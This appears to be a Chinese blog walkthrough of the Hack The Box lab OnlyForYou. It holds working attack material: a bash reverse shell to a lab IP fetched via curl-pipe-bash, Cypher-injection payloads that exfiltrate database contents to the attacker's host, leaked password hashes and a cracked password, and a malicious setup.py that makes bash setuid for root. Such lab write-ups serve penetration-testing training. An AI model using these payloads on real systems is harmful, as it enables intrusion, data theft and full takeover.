HTB靶场之OnlyForYou
准备:
攻击机:虚拟机kali。
靶机:OnlyForYou,htb网站:https://www.hackthebox.com/,靶机地址:https://app.hackthebox.com/machines/OnlyForYou。
知识点:DNS解析、代码审计、文件包含、shell反弹、frp端口转发、Neo4j注入漏洞、ngnix知识了解、md5解密、pip3 download提权。
简单的记录下通过的过程也是帮助自己梳理下整个流程:

一:信息收集
1.nmap扫描
使用nmap对端口进行扫描,命令:sudo nmap --min-rate 10000 -p- 10.10.11.210,显示开放了22端口、80端口,开启了ssh服务、http服务。

对具体的服务信息进行扫描,未发现可以利用的信息,命令:sudo nmap -sT -sV -O -p 22,80,443 10.10.11.210。

2.DNS解析
请求:http://10.10.11.210,访问下WEB服务,发现跳转到了http://only4you.htb/,因此我们需要进行下DNS解析,在/etc/hosts文件中写入:10.10.11.210 only4you.htb。

二:WEB信息分析
1.源码信息
在http://only4you.htb页面的TEAM处发现一个beta产品,访问该产品时跳转到了http://beta.only4you.htb/,因此重复DNS解析将其添加到/etc/hosts文件中。

该页面给我们提供了源码下载,将源码下载下来进行分析,发现对..与../进行了过滤,最后会返回image文件的内容,因此这里应该是存在文件包含漏洞。除了源码外还有resize、convert功能,前者是上传图片并调整大小,后者是jpg与png相互转换。

在http://beta.only4you.htb/页面抓取数据包修改请求方式为POST,修改后数据包信息如下,发送该数据包成功获得/etc/passwd文件的内容,发现可能存在账户john、neo4j、dev。
POST数据包
POST /download HTTP/1.1
Host: beta.only4you.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 17
image=/etc/passwd

2.文件包含漏洞
前面在nmap扫描时已经发现在80端口开启了nginx服务,因此我们读取下nginx的配置文件,发现三个文件和一个目录:/var/log/nginx/access.log、/var/log/nginx/error.log、/etc/nginx/conf.d/*.conf、/etc/nginx/sites-enabled/*。

依次查看下几个文件,/var/log/nginx/access.log文件中存放的是我们的访问日志,访问/var/log/nginx/error.log时未返回有用信息,/etc/nginx/conf.d/*.conf、/etc/nginx/sites-enabled/*会被拦截。后面查了下nginx配置,在/etc/nginx/sites-enabled/default文件中发现网站的绝对路径:/var/www/only4you.htb/。

尝试请求下网站目录下的文件:app.py,发现form文件,这里注意下:status = sendmessage(email, subject, message, ip)。

读取下form文件,发现存在一个run命令,执行了邮箱名称@之后的内容。因此这里应该是存在一个命令执行漏洞。


三:获取www-data权限shell
后面尝试进行命令执行发现返回信息一直是未授权,就又对源码分析了一波,发现是因为status返回值为1,返回值为1是因为对上面图片中返回的result验证未通过,后来思考了以下,虽然验证未通过但是既然返回了result那肯定是执行过命令了,因此我们尝试直接进行shell反弹。步骤如下:
1.在kali中写一个shell反弹文件shell.sh,内容:bash -i >& /dev/tcp/10.10.14.18/6688 0>&1。
2.在kali开启一个web服务,命令:python -m http.server。
3.在抓取的数据包中修改post数据为:name=upfine&email=q@qq.com;curl 10.10.14.18:8000/shell.sh | bash&subject=112345&message=1asdf,然后发送此请求,成功获得shell权限。

四:获取john权限shell
1.端口转发
在www-data权限的shell中经过一番查询只确定了账户名称:john、dev,未发现和密码有关的信息,然后在查询端口时发现存在几个开放的端口:3000、8001、3306、7474、7687等端口。

使用frp将这几个端口的流量转到到kali中,注意服务端与客户端不要用反了,靶机用的是客户端,可以参考我的这边文章:https://www.cnblogs.com/upfine/p/17266632.html。几个端口的访问情况依次如下:

2.Neo4j注入漏洞
在8001端口的登录框进行登录时发现使用:admin/admin可以成功登录。在该服务中的EMPLOYEES中发现存在搜索功能,猜测可能存在注入漏洞。

请求7474端口的时候未返回页面信息,但是frp中先是的信息已被占用,因此猜测应该是数据库类的服务在后端占用,观察请求页面,虽然未返回信息,但是标签上告诉了我们是neo4j。查了下neo4j的介绍,发现是一个高性能的NOSQL图形数据库,前面我们猜测正确。

那就找下neo4j的注入方法:https://book.hacktricks.xyz/pentesting-web/sql-injection/cypher-injection-neo4j#common-cypher-injections。先尝试获取下版本号,发现确实存在注入漏洞。
' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.10.14.18:8000/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //

然后获取下表中的节点信息,语句:1' OR 1=1 WITH 1 as a CALL db.labels() yield label LOAD CSV FROM 'http://10.10.14.18:8000/?label='+label as l RETURN 0 as _0 //,获得节点user、employee。

然后查询下user节点的值,语句:1' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.14.18:8000/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //,获得两个加密的密码值:
#解密前
admin:8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918
john:a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6
#解密后
8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918:admin
a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6:ThisIs4You


3.获取john权限shell
使用获得账户和密码:john/ThisIs4You进行ssh登录,成功获得shell权限并读取到第一个flag。

五:提权
查看下当前账户是否存在可以使用的特权命令,sudo -l,发现:/usr/bin/pip3 download http\://127.0.0.1\:3000/*.tar.gz,意思是允许john用户使用pip3 download 3000端口的压缩文件。

查找下该情况的提权方式,在这里:https://github.com/wunderwuzzi23/this_is_fine_wuzzi.git下载demo文件,然后修改setup.py文件,在该目录执行:python3 -m build,执行完之后会在生成一个dist目录,该目录下存在一个this_is_fine_wuzzi-0.0.1.tar.gz文件,即是我们需要的文件。
setup.py
import os
from setuptools import setup, find_packages
from setuptools.command.install import install
from setuptools.command.egg_info import egg_info
def RunCommand():
os.system("chmod +s /bin/bash")
class RunEggInfoCommand(egg_info):
def run(self):
RunCommand()
egg_info.run(self)
class RunInstallCommand(install):
def run(self):
RunCommand()
install.run(self)
setup(
name = "this_is_fine_wuzzi",
version = "0.0.1",
license = "MIT",
packages=find_packages(),
cmdclass={
'install' : RunInstallCommand,
'egg_info': RunEggInfoCommand
},
)

使用john/ThisIs4You登录3000端口的Gogs服务进行查看,但是Test仓库显示是有锁的需要认证,那首先就需要对其进行解锁设置,然后将文件进行上传。


上传文件后切执行:sudo /usr/bin/pip3 download http://127.0.0.1:3000/john/Test/src/master/this_is_fine_wuzzi-0.0.1.tar.gz,然后执行bash -p即可获得root权限并在root目录下获取到flag值。

HTB靶场之OnlyForYou的更多相关文章
- 【HTB靶场系列】靶机Carrier的渗透测试
出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) Hack The Box是一个CTF挑战靶机平台,在线渗透测试平台.它能帮助你提升渗透测 ...
- [红日安全]Web安全Day1 - SQL注入实战攻防
本文由红日安全成员: Aixic 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名 ...
- [红日安全]Web安全Day2 - XSS跨站实战攻防
本文由红日安全成员: Aixic 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名 ...
- [红日安全]Web安全Day3 - CSRF实战攻防
本文由红日安全成员: Once 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名字 ...
- [红日安全]Web安全Day4 - SSRF实战攻防
本文由红日安全成员: MisakiKata 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目 ...
- [红日安全]Web安全Day5 - 任意文件上传实战攻防
本文由红日安全成员: MisakiKata 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目 ...
- [红日安全]Web安全Day8 - XXE实战攻防
本文由红日安全成员: ruanruan 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了 ...
- [红日安全]Web安全Day9 - 文件下载漏洞实战攻防
本文由红日安全成员: Once 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名字 ...
- [红日安全]Web安全Day12 – 会话安全实战攻防
本文由红日安全成员: ruanruan 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了 ...
- 【HTB系列】靶机Access的渗透测试详解
出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) Hack The Box是一个CTF挑战靶机平台,在线渗透测试平台.它能帮助你提升渗透测 ...
随机推荐
- python字符串集合面试笔试题
python字符串面试笔试题 以下代码的输出是? s = 'foo' t = 'bar' print('barf' in 2 * (s + t)) A.True B.Fasle +运算符连接字符串,而 ...
- 高阶函数_函数柯里化 以及 setState中动态key
使用柯里化: 1 state = { 2 username: "", 3 password: "", 4 }; 5 render() { 6 return ( ...
- C# 编译异常CS0433
编译后遇到nuget版本冲突: error CS0433: 类型"ShellFile"同时存在于"Microsoft.WindowsAPICodePack.Shell, ...
- 咚咚咚,你的王国之泪已上线「GitHub 热点速览」
本周最大的热点,莫过于 Mojo 语言了,几大媒体均有报道这门兼顾 Python 优点和性能的新语言.当然还有凭借 Switch 游戏<塞尔达传说·王国之泪>登上热榜,获得 3,500+ ...
- nginx配置文件编写及日志文件相关操作
nginx配置文件编写及日志文件相关操作 目录 nginx配置文件编写及日志文件相关操作 nginx主配置文件扩展详解 部署nginx网站 注意事项 Nginx虚拟主机 nginx配置虚拟主机的三种方 ...
- 2022-08-24:给定一个长度为3N的数组,其中最多含有0、1、2三种值, 你可以把任何一个连续区间上的数组,全变成0、1、2中的一种, 目的是让0、1、2三种数字的个数都是N。 返回最小的变化次
2022-08-24:给定一个长度为3N的数组,其中最多含有0.1.2三种值, 你可以把任何一个连续区间上的数组,全变成0.1.2中的一种, 目的是让0.1.2三种数字的个数都是N. 返回最小的变化次 ...
- 2021-01-10:linux中,我要看某一个进程的并发,通过什么命令去查?
福哥答案2021-01-10:[答案来自此链接:](https://blog.csdn.net/sinat_31275315/article/details/108239492)方法一:PS在ps命令 ...
- [AGC001E] BBQ Hard题解
Problem [AGC001E] BBQ Hard 计算: \[\sum_{i=1}^{n}\sum_{j=i+1}^n\binom{a_i+b_i+a_j+b_j}{a_i+a_j} \] 其中\ ...
- vue全家桶进阶之路19:webpack资源打包工具
Vue.js 是一个前端开发框架,它可以帮助我们快速构建单页应用和复杂的交互界面.而 Webpack 则是一个前端资源打包工具,它可以将多个 JavaScript.CSS.HTML.图片等资源打包成一 ...
- 【GiraKoo】线程本地存储(Thread Local Storage, TLS)
[技术分享]线程本地存储(Thread Local Storage, TLS) 在项目开发中,遇到了关于TLS相关的问题.为了了解该机制的用途,在微软的官网查找了一些资料. 本文参考官方文档, 简单介 ...